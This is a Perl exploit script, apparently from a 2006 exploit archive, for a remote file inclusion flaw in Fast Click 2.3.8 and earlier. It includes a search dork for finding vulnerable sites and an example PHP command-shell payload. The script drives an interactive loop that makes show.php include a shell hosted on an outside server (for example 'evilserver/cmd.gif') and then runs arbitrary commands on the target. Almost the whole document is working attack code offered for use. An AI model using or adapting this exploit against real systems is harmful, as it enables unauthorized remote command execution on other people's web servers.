Fast Click 1.1.3/2.3.8 - 'show.php' Remote File Inclusion

#!/usr/bin/perl
##
# Fast Click <= 2.3.8 Remote File Inclusion exploit
# Bug discovered and cod3d by R@1D3N (amin emami)
#Greet:Outlaw - Aura - Dltrp - Cl0wn - B3HZAD - sm0k3r - Exploitercode - Str0ke and all persian Cyber team
#http://www.aria-security.net
#Dork:inurl:"fclick.php?fid"
# usage:
# perl fc.pl <target> <cmd shell location> <cmd shell variable>
# perl fc.pl http://target.com/fclick/ http://target.com/cmd.gif cmd
# cmd shell example: <?system($cmd);?>
# cmd shell variable: ($_GET[cmd]);

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'show.php?path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)

{
      $finreturn = $1;
      $finreturn=~ tr/[ê]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " Fast Click <= 2.3.8 Remote File Inclusion exploit\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl fc.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to Fastclick ex: http://www.site.com/fclick/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://evilserver/cmd.gif \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           bug discovered by RAYD3N \r\n";
 print " www.Aria-security.net/Forums/ \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-05-02]